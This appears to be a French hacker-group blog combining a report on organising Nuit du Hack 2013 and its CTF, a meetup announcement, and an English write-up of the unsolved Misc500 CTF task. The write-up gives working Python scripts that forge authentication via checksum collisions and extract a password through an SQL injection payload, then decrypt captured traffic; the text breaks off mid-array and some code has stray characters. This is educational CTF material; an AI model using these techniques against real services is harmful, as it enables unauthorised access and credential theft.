La Nuit du Hack est l'évènement majeur de la communauté Hackers française, généralement organisée fin juin, qui réunit passionnés, professionnels et novices autour d'un thème commun: le hacking. Ce n'était rien de moins que la onzième édition qui se déroulait ce week-end à Disneyland Paris, autour de talks, de workshops, de challenges et de bière (ainsi que des soft drinks, bien sûr). Zou, visite guidée des coulisses de l'organisation de la NDH version 2013 !
Un an de préparation
La méthode est désormais rodée: à peine la Nuit du Hack terminée, l'organisation de la suivante démarre. Cela représente un an de travail acharné pour seulement 24 heures, ce qui n'est pas rien. La recherche de sponsors, la préparation des CFPs, les débuts de conception de design graphique ainsi que les grands axes d'orientation de l’événement se décident à ce moment. C'est aussi l'occasion de faire l'état des lieux des éléments à améliorer, de prendre en compte les remarques constructives des visiteurs envoyées par email, twittées ou parfois même bloguées. On attache une importance toute particulière aux soucis rencontrés et aux solutions possibles. Par exemple, décision fut prise l'année dernière de cabler le wargame plutôt que de se baser sur du WiFi (qui se fait sniffer/polluer chaque année) et de mettre le CTF dans une salle à part. Il n'y a jamais eu de Nuit du Hack sans cafouillages ou problèmes, même cette édition a eu son lot d'ennuis qu'il a fallu gérer.
Ensuite, il y a toute la logistique à superviser. Ce qui va de l'agencement des salles avec plans et tout le toutim aux moyens techniques et à la planification. Il faut aussi gérer en parallèle les qualifications, la conception de l'infrastructure du CTF et du wargame, la réalisation des épreuves de ces deux concours et celle du réseau global à déployer lors de l'évènement. Les partenaires tels que Zen Connect ou Orange sont d'une grande aide en ce qui concerne cette partie, tout comme Outscale (via majinboo) ou OVH (un big up à toute l'équipe !). Sans oublier la communication (Hicham & Lucie).
Un CTF remanié
Cette année, nous sommes partis sur un CTF différent des années précédentes. Il s'agissait toujours d'un CTF attaque/défense, mais cette fois-ci basé sur un scénario et un concept nouveau: la suppression pure et simple des flags formatés. Chaque équipe avait à sa disposition un pare-feu frontal (couche 2) et un serveur hébergeant des services, et se voyait mise dans la peau d'une société réalisant des solutions de DRM (nommée GZT) et devant assurer la pérénité des données de ses clients. Bien sûr, l'objectif est simple: protéger ses données tout en récupérant celles des autres équipes. La nouveauté résidait dans le fait que les données constituaient ce que l'on nomme couramment des "flags": des éléments d'information ayant de la valeur. Les équipes devaient donc voler ces données, et les diffuser sur un portail que nous leur avions mis à disposition, une sorte de Pastebin. A chaque fois qu'une équipe divulguait des informations ayant de la valeur, des points étaient attribués à celle-ci et autant étaient retiranché aux équipes attaquées.
L'infrastructure a été elle aussi repensée et adaptée: la solution de virtualisation a été revue, l'infrastructure simplifiée et l'administration facilitée. Tout cela pour éviter de reproduire les erreurs de l'année précédente. Le matériel prêté par OVH a d'ailleurs été d'un grand secours: ils nous ont prêté de sacrées machines avec des capacités de fou furieux ! Encore une fois, merci à vous ;).
L'installation chez Mickey
On a déménagé tout le matériel le jeudi précédant la Nuit du Hack, durant Hack in Paris, et tout installé dans une salle technique. Depuis quelques années, cela se déroule sans trop de problème car nous nous sommes équipés. Tout est sur roulettes, empilable, et étiqueté. Et avec un camion à hayon, le transport se déroule sans encombre.
Une fois à Disneyland, le premier problème. Un problème d'alimentation. Une personne est venue nous installer suffisamment de puissance pour alimenter nos baies, afin que l'on termine les tests de déploiement ainsi que les configurations de certaines machines. Un peu trop de puissance en fait. Résultat: un bon vieil arc électrique et une imitation de Claude François évitée de justesse. Moins trois alimentations qui n'ont pas supporté la décharge. Qu'à cela ne tienne, le spare est là pour cela: le tout est changé rapidement.
<emb150|center>
<emb151|center>
L'installation de la baie dans la salle dédiée au CTF a été faite le lendemain, et nous avons passé une bonne partie de la journée à câbler, gaffer, tester, déployer et déboguer les systèmes. Et il fallait bien cela. Cette phase s'est terminée le samedi à midi environ.
Le grand bain
La Nuit du Hack a ouvert ses portes relativement tôt (je n'ai pas su réellement à quelle heure, j'ai profité comme quelques autres de la nuit pour essayer de bien dormir), et à 9 heures la salle commençait déjà à être parsemée de geeks et hackers de tout poil. Et on attendait toujours Jérémie Zimmermann, le conférencier en charge de la keynote. Clad a pris la parole, salué tout le monde, tandis que nous tentions désespérément de le contacter. Quelques temps après, des nouvelles de Jérémie et la keynote a ainsi pu se faire sans souci (mais avec du retard). La journée commençait bien. Ceci dit, mieux que l'année dernière car l'an dernier à 9 heures nous n'avions plus d'alimentation dans toute la salle. Quelques soucis de WiFi ont aussi été géré, mais dans l'ensemble tout allait comme sur des roulettes à partir de 10 heures.
<emb152|center>
Les participants ont ainsi pu profiter des talks, des speakers, mais aussi des bars, des tables et du réseau déployé. Car oui, cette année il y avait du WiFi qui fonctionnait ! Toutes nos excuses à Dave Kennedy pour l'interruption inopinée de talk (pour cause de mauvais timing), mais cela a été rattrapé par la suite. Le stress du moment certainement. A 20 heures, changement de configuration de salle pour héberger les workshops et le wargame: les participants (1300 personnes environ) ont du sortir de la salle et se sont agglutinés dans les couloirs, où il est devenu difficile de circuler. Un point à résoudre pour la prochaine édition.
Au même moment, les équipes CTF entraient dans la salle dédiée afin de s'installer et de découvrir ce que nous leur avions préparé. Nous avons fait un rapide briefing avant de démarrer le jeu, expliquant aux équipes les règles et leur remettant par la suite un livret contenant le règlement, le détail de l'architecture et leurs accès. Nous leur avons donné 30 minutes pour accéder à leurs machines et les configurer (modifier les mots de passe, changer les règles de filtrage, etc ...), puis les avons connectés entre eux afin de déclarer officiellement la guerre ouverte. Petite frayeur pour l'équipe, les systèmes de monitoring ont remonté pas mal de rouge quelque temps après, les équipes découvrant les services et testant les premières attaques (des scans surtout). Le tout s'est stabilisé, et ceux ayant vu l'utilité du pare-feu frontal s'en sont plutôt bien tirés. Une équipe a choisi de laisser ses services inaccessibles ([technopandas]), par pur choix stratégique, mais a fait marche arrière quelques heures plus tard. Le dimensionnement était plutôt bon, vu la stabilité de l'infrastructure durant le CTF. Au final, une seule épreuve n'a pas été exploitée et le CTF remporté (à nouveau) par les russes de HackerDom. SoSix les talonnait de très peu de points, et la lutte finale s'est vraiment faite entre ces deux équipes. Une belle bataille en somme.
Remise des prix
A 6 heures du matin le dimanche, le CTF a été arrêté et les scores figés. Les russes de HackerDom ont validé à quelques minutes de la fin une série de données volées qui leur ont donné l'avantage, laissant à l'équipe SoSix très peu de temps pour compenser. A 7h00, les prix ont été remis aux équipes: * 4000€ TTC pour la première place (HackerDom) * 1 serveur dédié 16G OVH pour 1 an (SoSix) * 1 serveur VPS OVH pour 1 an (Sutegoma2)
Encore un grand bravo aux équipes, qui ont lutté durement pendant les 9 heures qu'ont duré ce CTF. On espère vous revoir l'année prochaine les gars !
Mot de la fin
Cette Nuit du Hack fut éprouvante. A l'heure où je rédige ce billet, j'ai encore les yeux bien rouges et du sommeil à rattraper. Mais elle fut riche en rencontres (oui, il n'y a que là que j'ai croisé un Ukrainien comprenant le français et trollant sur la sécurité), en rebondissements (côté CTF), et en pur plaisir. Et pour une fois, le wargame et le CTF ont fonctionné sans problème majeur. Et ça, ça fait très plaisir. Et oui, ce petit compte-rendu est très axé sur le CTF, mais eh, je n'ai pas pu suivre les talks ni les workshops.
J'attends avec impatience celle de l'année prochaine, en espérant que l'on arrive à faire aussi bien que l'édition 2013, avec plus de moyens, encore plus de fun et de hacks. J'espère sincèrement que vous avez apprécié cette NDH comme nous avons apprécié l'organiser, et sachez que l'on se démène pour arriver à tenir le niveau.
Pour terminer, je tiens à remercier tout particulièrement les personnes qui nous ont aidé à préparer ce CTF: Corbier, kaiyou, y0no, Benjamin, Bastien, Saiyan, UnclePecos, et Julien. Et désolé si j'en ai fait c*ier certains d'entre vous, le stress toussa ... Et puis encore un grand merci à toute la team OVH, et en particulier Henri: vous roxxez les mamans ours :). Un autre grand merci aux collègues d'HZV, aux anciens des débuts de la NDH (rappelez-vous, le cybercafé, la grange, cela a bien changé), et à tous les ghosts (80 personnes environ) sans qui cela n'aurait pas été possible.
Comme certains d'entre vous le savent peut-être, chez HZV tous les premiers samedis du mois, c'est l'occasion de se rassembler autour de bières et d'ordinateurs afin d'échanger sur la sécurité informatique, de rencontrer d'autres hackers et de refaire le monde. Mais c'est aussi bien souvent un moment de partage, durant lequel n'importe qui peut présenter un sujet, faire connaître un projet, ou réaliser un atelier pratique. D'habitude, cela se déroule dans les locaux de Sysdream, mais en avril il y a du changement.
On déménage !
Car oui, les locaux de Sysdream c'est bien, mais c'est petit, trop petit, et on se retrouve vite entassé dans pas beaucoup de mètres carrés. Alors quand deux élèves de l'ESIEA proches d'HZV nous proposent de faire un meeting HZV dans leur école, avec un amphi (avec plein de place !) et du matos et de la bière, on ne peut pas dire non. Le meet HZV du mois d'avril, ça se passe donc le samedi 6 avril 2013 de 10h00 à 18h00, dans les locaux de l'ESIEA.
Au programme: des talks, des speakers, du streaming live, des ateliers, des bières et du hack !
Et moi, je peux venir ?
Pour ceux qui ne connaitraît pas le principe des "meets" HZV, la règle est simple: c'est ouvert à tout le monde, sans aucun jugement sur la personne ou les compétences. Que vous soyez novice en sécurité informatique ou confirmé, que vous ayez 12 ans ou 77ans, vous êtes le(la) bienvenu(e). Si vous êtes curieux/curieuse, passionné/e, intrigué/e, ou tout simplement amateur/trice de geekeries et de bière, l'endroit vous est grand ouvert.
Si vous le souhaitez, amenez un laptop ou deux histoire de pouvoir profiter au mieux de l'event; pour ceux qui seraient plus branché hacking hardware, des arduinos ou launchpad voire même des raspberry Pi feront aussi très bien l'affaire !
C'est bien, mais c'est loin ?
L'ESIEA, c'est dans Paris 5ème, accessible via le métro 7 station "Les Gobelins" (ça ne s'invente pas). Si vous venez de province, c'est à un saut de métro de la gare Montparnasse (Métro 6 Nation puis métro 7 à place d'Italie), bref plutôt accessible. Et ne faites pas la moue, certains viennent de Toulon ou de Marseille pour y participer !
Si vous ne pouvez toutefois pas venir, les talks seront enregistrées et probablement streamées sur Internet. Les informations pour accéder au stream et/ou visualiser les vidéos des talks seront diffusées en temps voulu (suivez de près @hackerzvoice =).
Pour plus d'info, je vous renvoie à la page décrivant le programme et la localisation. Sinon, vous pouvez poser vos questions à @hackerzvoice, ou à meeting@hackerzvoice.net.
Ndh2k13 quals got 352 participating teams and last only 24 hours, with only 14 tasks to solve. Among them, the Misc500 (namely "Wiretapped communication") stays unsolved and we think interesting to share with all of you the way it was intended to be solved. I created this task based on my professional experience, to make it look like a concrete and real case. Here is how to solve it.
Contestants were provided with a ZIP file, containing a network capture (a PCAP dump) and what seems to be a binary version of the server program used by John Adams to communicate securely. The communication protocol is weird but having a look at an hexdump of the conversation allows us to draw some hypothesis.
Analyzing the PCAP dump
First of all, there seems to be a common pattern in the exchanged data. Many blocks of information starts with a byte, then what seems to be a 32-bit coded size, then this exact number of bytes and 4 extra bytes. No idea of what it is or how it is used. Anyway, some cleartext appears in the first bytes sent by the client:
00000000 01 0b 00 00 00 6a 6f 68 6e 2e 61 64 61 6d 73 00 .....joh n.adams. 00000010 24 7f a8 19 $...
"john.adams" is 10 bytes long, 11 (0x0b) with the null character, but some extra bytes left and we have no clue about it. The first byte seems to be a message ID or something like this, but this has to be confirmed with the reverse-engineering of the binary application.
All the messages exchanged between the client and the server are built upon this pattern, however there is no more cleartext past the first message sent by the client, that probably means a kind of encryption is used to ensure confidentiality.
Running the binary
The binary file is a 64-bit ELF executable:
$ file protoss protoss: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, BuildID[sha1]=0x93f6def440dcf9552dee2f55efad461e72f1516e, stripped
Simply running the binary raises many error messages stating some libraries are missing:
$ ./protoss ./protoss: error while loading shared libraries: libboost_system.so.1.42.0: cannot open shared object file: No such file or directory ... ./protoss: error while loading shared libraries: libmysqlcppconn.so.4: cannot open shared object file: No such file or directory ... ./protoss: error while loading shared libraries: libcrypto.so.0.9.8: cannot open shared object file: No such file or directory ...
Seems this binary uses a MySQL connection and some crypto APIs, pretty interesting. If you try to use LD_PRELOAD or something similar, you may experience some troubles with the MySQL C++ connector library, as I did during my tests. Anyway, the MySQL connection step seems to work when using the correct libraries in conjonction with the LD_PRELOAD trick, that'll do the job.
To make it work, use OpenSSL version 0.9.8, MysqlCppConnector, Boost System, and Boost Thread MT libraries. Mysql user is 'protoss' with a password of 'XXXXXXXXXXX' with full access to a database called 'proto' and a table named 'proto'. Its schema and content are provided in the archive at the end of this post.
Strings first !
Searching for strings in the binary application is always a good idea, and sure it was for this task too. You may have spot these strings:
tcp://127.0.0.1:3306 proto protoss XXXXXXXXXXX
This is pretty much an SQL connection string, and maybe some credentials. After some tests using the LD_PRELOAD trick with the original libraries (using every correct version), you would find the correct combination and therefore the following connection string:
mysql://protoss:XXXXXXXXXXX@127.0.0.1:proto
It is straightforward to set up a MySQL server on your machine, create a database named "proto" and create a "protoss" user identified by the password "XXXXXXXXXXX". Once done, running the binary again displays an informational string stating the database connection is perfectly working:
[messaging] connecting to database .... [messaging] starting ...
During my tests, I was not able to perform requests using a more recent version of the MySQL C++ connector library. I decided to make a deep analysis of this binary using only IDA instead of debugging the server. But if you find the correct system configuration with the exact same versions of all the libs, you would be able to have more information by debugging it.
However, running a netstat showed that this process listens on port 2013. If you were a bit curious about z0b.nuitduhack.com, you'd have noticed the same port listening. Keep it in mind, and continue the reading.
Finding the custom checksum algorithm ...
The first strange thing we observed by analyzing the provided PCAP file was the pattern itself. If the server is able to communicate with some client software, it must be able to parse the messages it receives. And there must be a piece of code for that. Starting from the socket's related functions (accept(), send(), recv()), you may eventually found in the program the piece of code handling this stuff.
<emb142|center>
Our hypothesis is now confirmed: the server reads 1 byte, then 4 bytes followed by a variable-length set of bytes:
<emb144|center>
The server software also checks the last 4 bytes by using a strange function located at 407F1E. This function looks like a kind of checksum:
<emb143|center>
The corresponding C code:
unsigned int checksum(unsigned char *buffer, int size)
*
int i;
unsigned int cs = 0xD34DB33F;
for (i=0; i<size; i++)
cs = ((cs^0x7BF239A) * buffer[i])^0x19A87F24;
return cs;
*
It is easy to check if we got a valid checksum algorithm by applying it to a message from the dump:
def checksum(bytes):
cs=0xD34DB33F;
for b in bytes:
cs = (((cs^0x7BF239A)*ord(b))&0xFFFFFFFF)^0x19A87F24
return cs
test_set = [
("010b0000006a6f686e2e6164616d7300".decode('hex'), 0x19A87F24),
]
for b,cs in test_set:
print checksum(b)==cs
... and abuse it to bypass authentication !
A deeper analysis of the target binary reveals that the same checksum function is used during the authentication process:
<emb145|center>
The resulting checksum is encoded into an hexadecimal form and then checked with the string returned by the client: if it matches that means the client was able to compute the checksum and therefore knows the password.
To summup the authentication process: 1. Client send to the server its username (message code: 01) 2. Server generates a random string (20 bytes) and send it to the client (message code: 02) 3. Client computes checksum(password+randomstring) and send it encoded in hexa to the server (message code: 03) 4. Server computes the same (should have the password stored in plain text in the database), encodes, and compares both strings: if they are equals, user is authenticated (or not). (message code: 04 or 05)
Be careful, the hex encoding used by the remote program is in fact an hexdump of the unsigned integer value, not the value itself that is hex encoded.
The authentication success message contains a session key intended to be used to encrypt the rest of the communication, but this message is encrypted with the user's password.
Based on this analysis, breaking the password with only a single checksum computed from this password and a randomly generated string will not be enough. Originally, z0b.nuitduhack.com hosted all the services related to the CTF, and had its port 2013 open. Remember, protoss server listens on this port. What if we try to authenticate without knowing John Adams' password ? What if we find another password (shorter than the original one) that matches the same checksum ?
With a 32-bit long checksum, a good approach consists in looking for collisions. Starting from a 3-byte long collision, I wrote this little python script and run it to determine how many collision exists with this setup:
def checksum(bytes):
cs=0xD34DB33F;
for b in bytes:
cs = (((cs^0x7BF239A)*ord(b))&0xFFFFFFFF)^0x19A87F24
return cs
challenge = '794a4b635f716e464c584c6d765b7474715e6543'.decode('hex')
i=0
for a in range(0,256):
for b in range(0,256):
for c in range(0,256):
if checksum('%c%c%c%s' % (a,b,c,challenge))==0xE1649BEC:
i += 1
print '%03d => %02x%02x%02x' %(i, a,b,c)
I then ran this program and got this:
001 => 0048f3 002 => 01a0cb ... 321 => ff83ea 322 => ffad76
322 collisions, this is very few but not sure if this will work with the remote server. Well, let's give it a try with a dedicated python script:
import socket
import sys
from struct import pack,unpack
def toHex(v):
hx = ''
for i in range(4):
hx+=hex(v&0xFF)[2:].rjust(2,'0').upper()
v = v>>8
return hx
def readMsg(s):
op = s.recv(1)
size = s.recv(4)
while len(size)<4:
size += s.recv(4-len(size))
size_ = unpack('<I',size)[0]
payload = s.recv(size_)
while len(payload)<size_:
payload += s.recv(size_ - len(payload))
checksum = s.recv(4)
while len(checksum)<4:
checksum += s.recv(4-len(checksum))
return (ord(op),payload,checksum)
def tryAuth(username, password):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1',2013))
# replay authentication request message
print '`+] Sending authentication request, waiting for a challenge ...'
s.send('010b0000006a6f686e2e6164616d7300247FA819'.decode('hex'))
# wait for a message
op,payload,cs = readMsg(s)
# extract challenge
if op==2:
challenge = payload[:20]
print '[+] Got challenge: <%s>' % challenge
answer = toHex(checksum(password+challenge))
msg = '\x03\x09\x00\x00\x00%s\x00' % answer
cs = checksum(msg)
msg += pack('<I',cs)
print msg.encode('hex')
print '[+] Send answer ...'
s.send(msg)
op,payload,cs = readMsg(s)
return op==0x14
else:
return False
def checksum(bytes):
cs=0xD34DB33F;
for b in bytes:
cs = (((cs^0x7BF239A)*ord(b))&0xFFFFFFFF)^0x19A87F24
return cs
challenge = '794a4b635f716e464c584c6d765b7474715e6543'.decode('hex')
i=0
for a in range(0,256):
for b in range(0,256):
for c in range(0,256):
if checksum('%c%c%c%s' % (a,b,c,challenge))==0xE1649BEC:
i += 1
pwd = '%c%c%c' % (a,b,c)
if tryAuth('john.adams',pwd):
print 'Gotcha ! <%02x%02x%02x' % (a,b,c)
sys.exit(1)
Run this script against the server:
$ python authbypass.py [+>`_ Sending authentication request, waiting for a challenge ... `+] Got challenge: <QREOIapVMr^\yeJQ_Twp> 0309000000453446304130393100247fa819 [+] Send answer ... Gotcha ! <0048f3
Yippikaye, we found a valid collision !
Time to rule 'em all !
Okay, we are now authenticated on the remote server as John Adams, but his password is still missing and is required to decrypt the entire conversation. Even with a checksum collision, we will not be able to retrieve this password. We have to find another way to get this damned password.
In the message processing function (4041CA), you may notice a particular message type that calls many functions to retrieve the last seen date of a given nick from the database:
<emb146|center>
This SQL query is not prepared and prone to an injection. We can abuse it to retrieve whatever we want, but we have to be authenticated to send this message, otherwise the server will not process it. Hurray, we previously found a way to fake an authentication, and this message does not seem to require encryption !
Let's improve our exploit:
import socket
import sys
from struct import pack,unpack
def toHex(v):
hx = ''
for i in range(4):
hx+=hex(v&0xFF)[2:>`_.rjust(2,'0').upper()
v = v>>8
return hx
def readMsg(s):
op = s.recv(1)
size = s.recv(4)
while len(size)<4:
size += s.recv(4-len(size))
size_ = unpack('<I',size)[0]
payload = s.recv(size_)
while len(payload)<size_:
payload += s.recv(size_ - len(payload))
checksum = s.recv(4)
while len(checksum)<4:
checksum += s.recv(4-len(checksum))
return (ord(op),payload,checksum)
def exploitSqli(username, password):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1',2013))
# replay authentication request message
print '[+] Sending authentication request, waiting for a challenge ...'
s.send('010b0000006a6f686e2e6164616d7300247FA819'.decode('hex'))
# wait for a message
op,payload,cs = readMsg(s)
# extract challenge
if op==2:
challenge = payload[:20]
print '[+] Got challenge: %s' % challenge
answer = toHex(checksum(password+challenge))
msg = '\x03\x09\x00\x00\x00%s\x00' % answer
cs = checksum(msg)
msg += pack('<I',cs)
print '[+] Send answer ...'
s.send(msg)
op,payload,cs = readMsg(s)
if op==0x14:
# send last seen msg
payload = "t' and 1=0 union select pwd FROM proto WHERE nick='john.adams' #\x00"
msg = "\x07"+pack('<I',len(payload))+payload
cs = checksum(msg)
msg += pack('<I',cs)
s.send(msg)
op,payload,cs = readMsg(s)
#print '[+] Got pwd: %s' % payload
return payload
else:
return None
else:
return None
def tryAuth(username, password):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1',2013))
# replay authentication request message
print '[+] Sending authentication request, waiting for a challenge ...'
s.send('010b0000006a6f686e2e6164616d7300247FA819'.decode('hex'))
# wait for a message
op,payload,cs = readMsg(s)
# extract challenge
if op==2:
challenge = payload[:20]
print '[+] Got challenge: <%s>' % challenge
answer = toHex(checksum(password+challenge))
msg = '\x03\x09\x00\x00\x00%s\x00' % answer
cs = checksum(msg)
msg += pack('<I',cs)
print '[+] Send answer ...'
s.send(msg)
op,payload,cs = readMsg(s)
return op==0x14
else:
return False
def checksum(bytes):
cs=0xD34DB33F;
for b in bytes:
cs = (((cs^0x7BF239A)*ord(b))&0xFFFFFFFF)^0x19A87F24
return cs
challenge = '794a4b635f716e464c584c6d765b7474715e6543'.decode('hex')
i=0
for a in range(0,256):
for b in range(0,256):
for c in range(0,256):
if checksum('%c%c%c%s' % (a,b,c,challenge))==0xE1649BEC:
i += 1
pwd = '%c%c%c' % (a,b,c)
real_pwd = exploitSqli('john.adams',pwd)
if real_pwd is not None:
print '[+] John Adams password: %s' % real_pwd
sys.exit(1)
Once done, we launched again our exploit against the remote service:
$ python exploit.py [+] Sending authentication request, waiting for a challenge ... [+] Got challenge: U^WGxQGfsID^AiSpQTcZ [+] Send answer ... [+] John Adams password: RbUmJhFG2mZD238_TvdFv0ww1
Here it is, our precious sesame: RbUmJhFG2mZD238_TvdFv0ww1 !
And now, ladies and gentlemen ...
With this password, you may be able to recover the entire conversation between John Adams and his friend. But remember, this conversation is encrypted using a session key, so we first need to decrypt the session key to be able to decrypt the following messages. Session key is sent in the authentication reply by the server, this corresponds to this encrypted data (hexdump):
b91434faab2512dd3bd7d5a79353554de5fbd9316675694314eb6be6fc41623992e4b9825721de48
This data is composed of 40 bytes (multiple of 8 bytes, since the encryption algorithm used is Blowfish). The password is expanded to a multiple of 8 bytes by the server and then used as a key to encrypt the session key. If you had a look to the imported functions, you'd see that EVP functions are used (provided by OpenSSL). I wrote a little program to decrypt the session key and the messages exchanged using the same functions:
#include <iostream>
#include <cstring>
#include <openssl/evp.h>
/**
* Expanded password
*
* Expansion is performed by cycling around the password's chars until its size
* is a multiple of 8.
*/
#define KEY "RbUmJhFG2mZD238_TvdFv0ww1RbUmJhF"
using namespace std;
/* Raw encrypted messages extracted from the PCAP, without header and checksum */
unsigned char talks[][256] = *
{0x61, 0xf7, 0xc8, 0x5d, 0x96, 0x64, 0x36, 0x50, 0xa8, 0xee, 0x33, 0x6f, 0x05, 0x23, 0x82, 0x27, 0x1d, 0xf9, 0xbb, 0x9a, 0x0c, 0xa4, 0xbe, 0x15, 0x3c, 0x39, 0xe9, 0xac, 0x16, 0xcb, 0xe9, 0x98*,
*0x20, 0xa4, 0xcb, 0x07, 0x58, 0x0a, 0xa2, 0x3f, 0xe1, 0x54, 0x35, 0x80, 0xeb, 0xf3, 0xcc, 0x2f*,
*0x5f, 0xec, 0x8c, 0x6c, 0x9a, 0xa0, 0x40, 0x7e, 0x87, 0xad, 0x50, 0xdc, 0xe7, 0x1f, 0x62, 0x76, 0x5e, 0x6c, 0xf3, 0x26, 0xa6, 0x50, 0x77, 0x91*,
*0x05, 0xdc, 0x6b, 0x04, 0x7a, 0x75, 0x49, 0x5a, 0x5e, 0x9b, 0xf5, 0x2b, 0x93, 0x49, 0xaa, 0xc4*,
*0x5f, 0xec, 0x8c, 0x6c, 0x9a, 0xa0, 0x40, 0x7e, 0xf4, 0x9b, 0x8c, 0xe5, 0xe4, 0x82, 0xdb, 0x4d, 0x4a, 0x8f, 0x59, 0x7e, 0xe1, 0xcd, 0xcf, 0x5e*,
*0x61, 0xf7, 0xc8, 0x5d, 0x96, 0x64, 0x36, 0x50, 0xa8, 0xee, 0x33, 0x6f, 0x05, 0x23, 0x82, 0x27, 0xa4, 0x4e, 0x04, 0x5e, 0xd8, 0x8b, 0xdd, 0xd0, 0xbf, 0x0e, 0x95, 0x14, 0x52, 0xb7, 0xfc, 0xc6*,
*0x54, 0x0a, 0x08, 0x3f, 0x61, 0x3c, 0x89, 0xb2*,
*0x5f, 0xec, 0x8c, 0x6c, 0x9a, 0xa0, 0x40, 0x7e, 0x47, 0x6b, 0xc0, 0xa4, 0xfb, 0x58, 0x02, 0x42, 0xfe, 0x62, 0xaa, 0xe2, 0xb9, 0x58, 0x28, 0xe5*,
*0x26, 0xaa, 0x71, 0x7d, 0x78, 0xda, 0x9b, 0xc0, 0x38, 0xf0, 0xf4, 0x46, 0xeb, 0xc2, 0x85, 0xd3, 0x3b, 0xfd, 0xb1, 0xec, 0x6e, 0x91, 0x52, 0x1b, 0x57, 0xa0, 0x92, 0x02, 0x0d, 0xf5, 0x76, 0xaa, 0x3a, 0xc0, 0xca, 0x27, 0x54, 0x51, 0x45, 0x5e, 0xb4, 0xa9, 0xb9, 0x68, 0x6e, 0x9e, 0x7e, 0xd1, 0xac, 0x63, 0x18, 0x8d, 0x2a, 0x7e, 0x04, 0xe1, 0xf7, 0x04, 0x35, 0x1b, 0x12, 0x8a, 0x42, 0x4d*,
*0x5f, 0xec, 0x8c, 0x6c, 0x9a, 0xa0, 0x40, 0x7e, 0x45, 0x54, 0x21, 0xde, 0xc1, 0xe2, 0x40, 0x72, 0x91, 0xe2, 0xa3, 0x7c, 0x82, 0xbb, 0x96, 0x34, 0x01, 0x70, 0xea, 0xd4, 0x99, 0x10, 0x7a, 0xf4, 0x8e, 0x29, 0xea, 0x31, 0x15, 0xb1, 0x8c, 0xbf, 0xff, 0x6d, 0x4d, 0x0f, 0xf8, 0x81, 0xa6, 0x4c, 0xa6, 0x2e, 0x92, 0x97, 0x60, 0x87, 0x41, 0x15, 0xfc, 0x64, 0x17, 0xaf, 0x33, 0xaf, 0x38, 0x9b, 0x68, 0x57, 0xf3, 0x7e, 0xf5, 0x7e, 0x43, 0x43, 0xfe, 0x62, 0xaa, 0xe2, 0xb9, 0x58, 0x28, 0xe5*,
*0x61, 0xf7, 0xc8, 0x5d, 0x96, 0x64, 0x36, 0x50, 0xa8, 0xee, 0x33, 0x6f, 0x05, 0x23, 0x82, 0x27, 0x30, 0x83, 0x53, 0xe5, 0x06, 0x53, 0x71, 0x02, 0xde, 0x08, 0xb4, 0x48, 0xaf, 0x73, 0x43, 0x1c, 0x43, 0x1b, 0xe7, 0x9f, 0x08, 0x4d, 0x63, 0x71, 0xc6, 0xc6, 0x95, 0x6e, 0x1e, 0x1f, 0x2d, 0x70, 0x07, 0xf3, 0xdc, 0x0d, 0x30, 0xba, 0x2c, 0xb3, 0x61, 0xf8, 0xbb, 0x33, 0x52, 0xa7, 0x1f, 0xe5, 0xa8, 0x07, 0xf9, 0xfb, 0xd3, 0xe1, 0x8d, 0x65*,
*0x61, 0xf7, 0xc8,
0x5d, 0x96, 0x64, 0x36, 0x50, 0xa8, 0xee, 0x33,
0x6f, 0x05, 0x23, 0x82, 0x27, 0x01, 0xec, 0x16,
0x21, 0x8d, 0x7c, 0xb8, 0x8e, 0x44, 0x34, 0x90,
0x90, 0x5b, 0xcb, 0x07, 0x97, 0x6a, 0xd2, 0xf5,
0x6b, 0x89, 0x71, 0x26, 0x3b, 0x26, 0x0c, 0x9d,
0xff, 0x25, 0x7e, 0x68, 0xc8, 0x71, 0x1f, 0x4d,
0x21, 0xcd, 0xe5, 0x68, 0x46, 0x9b, 0xca, 0x38,
0x16, 0x6d, 0x0a, 0xe8, 0xa5, 0x96, 0xe1, 0xfc,
0xeb, 0xf8, 0xe2, 0xd6, 0x40*,
*0x8d, 0x63, 0x34,
0x9e, 0xa3, 0xf2, 0x8f, 0x31*,
*0x5f, 0xec, 0x8c,
0x6c, 0x9a, 0xa0, 0x40, 0x7e, 0x20, 0x6e, 0xb9,
0x8e, 0x3c, 0x79, 0x66, 0x47, 0xfe, 0x62, 0xaa,
0xe2, 0xb9, 0x58, 0x28, 0xe5*,
*0x1d, 0x4e, 0x8f, 0xa9, 0xe5, 0xab, 0xcf, 0x92, 0x46, 0xd0, 0xbb, 0xa5, 0x17, 0xa8, 0xac, 0x57, 0xd9, 0xfa, 0xb0, 0xbf, 0xb8, 0x33, 0x81, 0x3a, 0xc7, 0x13, 0x49, 0xfb, 0x78, 0x6a, 0x48, 0x33, 0x71, 0x6d, 0xea, 0x4a, 0xce, 0x58, 0xb7, 0x13, 0xf9, 0xf7, 0x18, 0x4c, 0xf9, 0x54, 0x75, 0xb5, 0x32, 0x05, 0x88, 0xd5, 0xf1, 0x7a, 0xba, 0x15, 0xe3, 0xc4, 0xf0, 0xa5, 0x14, 0xf5, 0x4e, 0x7a, 0xc8, 0xdd, 0xa7, 0x03, 0x2e, 0x94, 0xca, 0xe8, 0xb1, 0x22, 0x2c, 0xc7, 0x7b, 0x65, 0xba, 0x97, 0x8b, 0x19, 0xe2, 0x71, 0x04, 0x1a, 0x4e, 0x0d, 0x8c, 0xfd, 0xf3, 0x1c, 0x83, 0x42, 0xe0, 0x57*,
